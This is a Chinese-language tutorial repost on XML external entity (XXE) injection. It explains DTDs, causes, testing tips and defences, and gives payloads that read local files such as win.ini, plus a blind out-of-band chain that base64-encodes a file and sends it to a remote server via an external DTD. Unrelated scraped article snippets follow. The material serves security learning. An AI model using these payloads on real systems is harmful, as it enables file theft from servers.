XML外部实体注入攻击XXE

xml是扩展性标记语言来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明DTD文档类型定义(可选)、文档元素一般无法直接打开,可以选择用excl或记事本打开。

语言示例<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   //xml声明、版本、编码

xml是描述数据,重点是---什么是数据,如何存放数据。

html是显示数据,重点是---显示数据一级如何显示数据更好

漏洞产生原因

1、危险函数loadxml

2、使用的php版本低,libmxl低于2.9.1的版本都有可能有这些问题。如果libxml_disable_entity_loader设置成FALSE也会有漏洞

<?xml version = "1.0"?> <!DOCTYPE  ANY [<!ENTITY f SYSTEM "file:///C://1.txt">]><x>&f;</x>

<?xml version=”1.0” ?>  <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>

<?xml version=”1.0” ?> 是声明

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]>是DTD类型定义,其中

ANY是文档类型,to,from,heading,body,这些都是文档类型

file:///C://1.txt 是调用的文件,file后面可以换成其他的

SYSTEM这个是外部声明格式,没有system是内部声明

<x>&f;</x>是文档元素
f 是调用f实体

防御方法

升级php版本

重新修改代码

过滤关键词 <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

测试

白盒测试:看特征loadxml

黑盒测试:

1、抓包,看响应体是否存在xml,如果没有明显特征看响应体accept头是不是*/*

响应体如果是xml一般是有特征,参考:https://www.cnblogs.com/Open-ing/p/12061720.html

2、看看url文件名是否.ashx后缀的拓展名;

3、把content-type里面的json改成xml;

DTD攻击---一般都是读文件

Document Type Definition 文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema

DTD 内部声明,DTD 外部声明,引用公共 DTD

可以参考连接:DTD 教程

payload结构

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C://2.txt">]>
<foo>&xxe;</foo>

XXE网站

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C://2.txt">]>
<foo>&xxe;</foo>

读服务器的文件win.inin

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

攻击

有回显:

直接看回显内容

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

无回显:

建立*.dtd  调用受害者的apache的log日志  返回到指定的服务器文件中

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/2.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.246.11:80/?p=%file;'>">

调用xml读取内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.246.11:80/xxe2/test.dtd">
%remote;%int;%send;
]>

可以参考相关文件:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/103877.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

内存空间的分配与回收之连续分配管理方式

1.连续分配管理方式 连续分配:指为用户进程分配的必须是一个连续的内存空间。 1.单一连续分配 在单一连续分配方式中&#xff0c;内存被分为系统区和用户区。系统区通常位于内存的低地址部分&#xff0c;用于存放操作系统相关数据;用户区用于存放用户进程相关数据。内存中只…

BES耳机空间音频技术实现

BES耳机空间音频技术实现 是否需要申请加入数字音频系统研究开发交流答疑群(课题组)?加我微信hezkz17, 本群提供音频技术答疑服务 音响和耳机在空间音频技术上实现方式是不同的 虚拟现实可谓是空间音频技术最具代表性的应 用领域。虽然虚拟现实的起源可以追溯到1 9 6 8年, …

2023年淘宝天猫双11活动时间什么时候开始到几月几号结束?

2023年淘宝天猫双11超级红包领取时间 第一阶段&#xff1a;2023年10月24日20:00 至11月03日23:59 第二阶段&#xff1a;2023年11月04日00:00 至 11月11日23:59 2023年淘宝天猫双11超级红包使用时间 第一阶段&#xff1a;2023年10月31日20:00 至11月03日23:59 第二阶段&…

字符串左旋 与 字符串旋转结果

字符串左旋 实现一个函数&#xff0c;可以左旋字符串中的k个字符。 例如&#xff1a; ABCD左旋一个字符得到BCDA ABCD左旋两个字符得到CDAB 方法1 三步翻转法 要求:abcdef 左旋两个 整体逆序:fedcba左边逆序:cdef ba右边逆序:cdef ab #include<stdio.h> #include<…

Xcode 14.3.1build 报错整理

1、Command PhaseScriptExecution failed with a nonzero exit code 2、In /Users/XX/XX/XX/fayuan-mediator-app-rn/ios/Pods/CocoaLibEvent/lib/libevent.a(buffer.o), building for iOS Simulator, but linking in object file built for iOS, file /Users/XX/XX/XX/fayuan…

微服务设计原则:构建弹性和可维护的应用

文章目录 1. 单一职责原则2. 独立性和自治性3. 弹性和容错性4. API 网关5. 日志和监控6. 版本管理7. 自动化部署和持续集成8. 安全性9. 数据一致性10. 文档和通信拓展思考结论 &#x1f389;欢迎来到架构设计专栏~微服务设计原则&#xff1a;构建弹性和可维护的应用 ☆* o(≧▽…

Qt打开ui文件经常报错

报错如下&#xff1a; 解决方法&#xff1a; 最后设置成默认值 即可

竞赛选题 深度学习 机器视觉 人脸识别系统 - opencv python

文章目录 0 前言1 机器学习-人脸识别过程人脸检测人脸对其人脸特征向量化人脸识别 2 深度学习-人脸识别过程人脸检测人脸识别Metric Larning 3 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习 机器视觉 人脸识别系统 该项目…

高并发下的服务容错

在微服务架构中&#xff0c;我们将业务拆分成一个个的服务&#xff0c;服务与服务之间可以相互调用&#xff0c;但是由于网络 原因或者自身的原因&#xff0c;服务并不能保证服务的100%可用&#xff0c;如果单个服务出现问题&#xff0c;调用这个服务就会 出现网络延迟&#xf…

平面设计师之路 优漫动游

1、入门 平面设计师之路 首先将几个原则&#xff0c;不管你记得住记不住&#xff0c;这些方式和态度决定了你能够深入到平面设计的哪一步。 原则一&#xff1a;实践是掌握真理的唯一途径。这句话是衍生物&#xff0c;因为我觉得原来的那句话实验性质太浓厚了&#xff0c…

计算机网络传输层知识总结·

传输层提供的服务 传输层的功能 ●传输层提供进程之间的逻辑通信&#xff0c;即端到端的通信 ●复用和分用 ●差错检测&#xff08;首部和数据部分&#xff09; ●面向连接的TCP和无连接的UDP 端口的作用 ●端口标识的是主机中的进程 ●硬件端口是不同…

3D WEB轻量化引擎HOOPS:促进CAD软件的创新与协作

CAD软件一直以来都在现代工程、建筑、制造和设计领域发挥着至关重要的作用。在数字时代&#xff0c;CAD软件的开发者不断追求提高软件性能、增加功能和改善用户体验&#xff0c;在这一努力中&#xff0c;HOOPS技术&#xff08;高度优化的面向对象并行软件&#xff09;滑块露头角…

IDEA启动报错Failed to create JVM. JVM path的解决办法

今天启动IDEA时IDEA报错&#xff0c;提示如下。 if you already hava a JDK installed, define a JAVA_HOME variable in Computer > Systen Properties > System Settings > Environment Variables.Failed to create JVM. JVM path:D:\ideaIU2023.2.3\IntelliJ IDE…

使用c++视觉处理----canny 边缘检测、sobel边缘检测、scharr 滤波边缘检测

使用c视觉处理canny 边缘检测、sobel边缘检测、scharr 滤波边缘检测 #include <opencv2/opencv.hpp>int main() {// 读取图像cv::Mat image cv::imread("1.jpg", cv::IMREAD_GRAYSCALE); // 转为灰度图像if (image.empty()) {std::cerr << "无法加…

Spring Boot 中常用的注解@RequestParam

Spring Boot 中常用的注解RequestParam RequestParam 是 Spring Framework 和 Spring Boot 中常用的注解之一&#xff0c;用于从请求中获取参数值。它通常用于处理 HTTP 请求中的查询参数&#xff08;query parameters&#xff09;或表单数据。下面详细解释 RequestParam 的用…

混凝土搅拌站预拌厂数字孪生可视化管理系统,三维可视化数据监控平台

本项目基于三维建模、数据融合等技术&#xff0c;构建一套实时的混凝土搅拌站厂区数字孪生可视化系统&#xff0c;提升混凝土搅拌站厂区信息化建设水平。 通过三维可视化项目的建设&#xff0c;实现搅拌站厂区展示和漫游、生产流程中设备的实时映射孪生、关键设备参数及指标图…

GPU如何统计显存占用

GPU统计显存占用有两种方法&#xff1a; 方法1&#xff1a; 使用 watch -n 1 nvidia-smi 这个会2秒刷新一次&#xff0c;可以在一个终端运行程序另外一个终端执行这个然后看具体的显存变化【很费劲&#xff0c;而且可能一闪而过】 方法2&#xff1a; 要统计程序的最大显存…

关于一篇什么是JWT的原理与实际应用

目录 一.介绍 1.1.什么是JWT 二.结构 三.Jwt的工具类的使用 3.1. 依赖 3.2.工具类 3.3.过滤器 3.4.控制器 3.5.配置 3.6. 测试类 用于生成JWT 解析Jwt 复制jwt&#xff0c;并延时30分钟 测试JWT的有效时间 测试过期JWT的解析 四.应用 今天就到这了&#xff0c;希…

NLP项目:维基百科文章爬虫和分类【02】 - 语料库转换管道

一、说明 我的NLP项目在维基百科条目上下载、处理和应用机器学习算法。相关上一篇文章中&#xff0c;展示了项目大纲&#xff0c;并建立了它的基础。首先&#xff0c;一个 Wikipedia 爬网程序对象&#xff0c;它按名称搜索文章&#xff0c;提取标题、类别、内容和相关页面&…

@Mapper与@MapperScan注解

Mapper Mapper Mapper.xml文件 作用在dao&#xff08;mapper&#xff09;层上的一个注解&#xff0c;将接口生成一个动态代理类&#xff0c;有了这个注解就不用 再写Mapper.xml文件 如果缺少这个注解&#xff0c;运行项目就会报相应的错误 Field userMapper in com.example…